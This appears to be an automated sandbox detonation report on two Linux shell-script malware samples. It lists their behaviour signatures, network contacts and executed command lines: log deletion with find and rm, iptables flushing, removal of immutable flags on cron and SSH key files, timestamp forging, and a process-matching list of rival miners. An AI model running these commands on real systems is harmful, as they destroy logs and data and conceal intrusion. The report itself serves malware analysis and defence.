/var/spool/cron/crontabs/tmp.4BuZyN

MD5 26f6fe41665ba17386692075deb09428
SHA1 4912c9d879e947853755b22c927db2c9ed54dcab
SHA256 7c91cd26abc047f86def4356abc88a9489ba9ce8bab3a7f765d8394f73071e51
SHA512 2cd64fd4a4cbdf7e01db3811d15aca67789a3d5eed49f0f85aed8529b8a5dac9e03f0578b62e98d631a38f1e559c9dce7ec71df401bc601225bc198e67b18e9c

/var/spool/cron/crontabs/tmp.0i3T7s

MD5 4a7968e94bd7ef595d2ed433aff6bcd2
SHA1 51fb68c811150d71167899a101d16a0db1251503
SHA256 ea4ec3966920efa31da5eb7f8f8b36ff118ca64edbca19763770e51dbb481519
SHA512 c2ca810eb3ae5d0dcdbbb515936f96dd670247d62846c156f01f7fc98c704d27f893798a9773d2a886e0e296a732b23bddf62709f0a3d26e4dbbff2c2c84a4a4

/var/spool/cron/crontabs/tmp.sVg67Z

MD5 ee59e2a3a962e822c89185a183bb8f00
SHA1 13a72361e14eacec1f44bd43e9e226d6620a643e
SHA256 4fd805ed8dd8ae97a497d278cb8fcc60e05e129ddeb1d828caff735fd8c64cce
SHA512 21a4c7bd69c765f9f6770a8d66ceb392171f85dc253077691434204c6900135a1097cbe2b758fc879d24878479b26a3b431116857c23b4ba68d9ef40002574bf

Analysis: behavioral9

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu1804-amd64-20240729-en

Max time kernel

0s

Max time network

134s

Command Line

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/178/stat /bin/ps N/A
File opened for reading /proc/315/status /bin/ps N/A
File opened for reading /proc/1050/status /bin/ps N/A
File opened for reading /proc/1083/stat /bin/ps N/A
File opened for reading /proc/1513/status /bin/ps N/A
File opened for reading /proc/17/stat /bin/ps N/A
File opened for reading /proc/1298/stat /bin/ps N/A
File opened for reading /proc/81/status /bin/ps N/A
File opened for reading /proc/175/stat /bin/ps N/A
File opened for reading /proc/321/stat /bin/ps N/A
File opened for reading /proc/21/stat /bin/ps N/A
File opened for reading /proc/406/status /bin/ps N/A
File opened for reading /proc/22/stat /bin/ps N/A
File opened for reading /proc/1107/stat /bin/ps N/A
File opened for reading /proc/20/stat /bin/ps N/A
File opened for reading /proc/78/stat /bin/ps N/A
File opened for reading /proc/163/status /bin/ps N/A
File opened for reading /proc/477/status /bin/ps N/A
File opened for reading /proc/1150/status /bin/ps N/A
File opened for reading /proc/12/status /bin/ps N/A
File opened for reading /proc/21/status /bin/ps N/A
File opened for reading /proc/601/status /bin/ps N/A
File opened for reading /proc/1050/status /bin/ps N/A
File opened for reading /proc/1070/status /bin/ps N/A
File opened for reading /proc/1289/status /bin/ps N/A
File opened for reading /proc/488/status /bin/ps N/A
File opened for reading /proc/164/status /bin/ps N/A
File opened for reading /proc/1115/status /bin/ps N/A
File opened for reading /proc/477/status /bin/ps N/A
File opened for reading /proc/517/stat /bin/ps N/A
File opened for reading /proc/10/stat /bin/ps N/A
File opened for reading /proc/1132/stat /bin/ps N/A
File opened for reading /proc/78/status /bin/ps N/A
File opened for reading /proc/993/stat /bin/ps N/A
File opened for reading /proc/465/stat /bin/ps N/A
File opened for reading /proc/27/status /bin/ps N/A
File opened for reading /proc/32/status /bin/ps N/A
File opened for reading /proc/601/status /bin/ps N/A
File opened for reading /proc/self/stat /bin/ps N/A
File opened for reading /proc/15/status /bin/ps N/A
File opened for reading /proc/1155/status /bin/ps N/A
File opened for reading /proc/1182/status /bin/ps N/A
File opened for reading /proc/1274/status /bin/ps N/A
File opened for reading /proc/14/stat /bin/ps N/A
File opened for reading /proc/1330/status /bin/ps N/A
File opened for reading /proc/1330/stat /bin/ps N/A
File opened for reading /proc/171/stat /bin/ps N/A
File opened for reading /proc/985/status /bin/ps N/A
File opened for reading /proc/1032/status /bin/ps N/A
File opened for reading /proc/1246/stat /bin/ps N/A
File opened for reading /proc/1512/status /bin/ps N/A
File opened for reading /proc/filesystems /bin/mv N/A
File opened for reading /proc/161/status /bin/ps N/A
File opened for reading /proc/204/status /bin/ps N/A
File opened for reading /proc/30/status /bin/ps N/A
File opened for reading /proc/1246/status /bin/ps N/A
File opened for reading /proc/12/stat /bin/ps N/A
File opened for reading /proc/489/status /bin/ps N/A
File opened for reading /proc/545/status /bin/ps N/A
File opened for reading /proc/1046/stat /bin/ps N/A
File opened for reading /proc/174/stat /bin/ps N/A
File opened for reading /proc/1150/status /bin/ps N/A
File opened for reading /proc/164/stat /bin/ps N/A
File opened for reading /proc/269/stat /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh N/A
N/A N/A /bin/rm N/A
N/A N/A /bin/rm N/A

Processes

/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/bin/grep

[grep Config File]

/usr/bin/awk

[awk {print $3}]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep vmx]

/bin/ps

[ps]

/bin/chmod

[chmod +x /tmp//encrypt]

/usr/bin/awk

[awk -F {print $2}]

/bin/grep

[grep /vmfs/volumes/]

/usr/bin/find

[find /usr/lib/vmware -type f -name index.html]

/bin/mv

[mv /etc/motd /etc/motd1]

/bin/find

[/bin/find / -name *.log -exec /bin/rm -rf {} ;]

/bin/wc

[/bin/wc -l]

/bin/grep

[/bin/grep -v grep]

/bin/grep

[/bin/grep encrypt]

/bin/ps

[/bin/ps]

/bin/wc

[/bin/wc -l]

/bin/grep

[/bin/grep 7.]

/bin/vmware

[/bin/vmware -l]

/bin/rm

[/bin/rm -f /store/packages/vmtools.py]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh]

/bin/rm

[/bin/rm -f /tmp/encrypt /tmp/nohup.out /tmp/index.html /tmp/motd /tmp/public.pem /tmp/archieve.zip]

/bin/sh

[/bin/sh /bin/auto-backup.sh]

/bin/rm

[/bin/rm -- /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/etc/init.d/SSH

[/etc/init.d/SSH start]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 151.101.65.91:443 tcp
GB 185.125.188.61:443 tcp
GB 185.125.188.62:443 tcp
US 151.101.65.91:443 tcp
GB 84.17.50.9:443 tcp
US 1.1.1.1:53 1527653184.rsc.cdn77.org udp
US 1.1.1.1:53 1527653184.rsc.cdn77.org udp
GB 89.187.167.38:443 1527653184.rsc.cdn77.org tcp

Files

N/A

Analysis: behavioral26

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-armhf-20240729-en

Max time kernel

8s

Command Line

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

Signatures

Deletes system logs

evasion
Description Indicator Process Target
File deleted /var/log/syslog /bin/rm N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /usr/sbin/userdel N/A
File opened for reading /proc/11 /bin/ls N/A
File opened for reading /proc/13 /bin/ls N/A
File opened for reading /proc/14 /bin/ls N/A
File opened for reading /proc/141 /bin/ls N/A
File opened for reading /proc/111 /bin/ls N/A
File opened for reading /proc/23 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/22 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/112 /bin/ls N/A
File opened for reading /proc/17 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/140 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/12 /bin/ls N/A
File opened for reading /proc/168 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/19 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/109 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/146 /bin/ls N/A
File opened for reading /proc/150 /bin/ls N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/10 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/101 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/16 /bin/ls N/A
File opened for reading /proc/18 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/1 /bin/ls N/A
File opened for reading /proc/15 /bin/ls N/A
File opened for reading /proc/2 /bin/ls N/A
File opened for reading /proc/20 /bin/ls N/A
File opened for reading /proc/filesystems /usr/sbin/userdel N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/21 /bin/ls N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A

Processes

/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/101]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/109]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/111]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/112]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/140]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/141]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/146]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/150]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/168]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

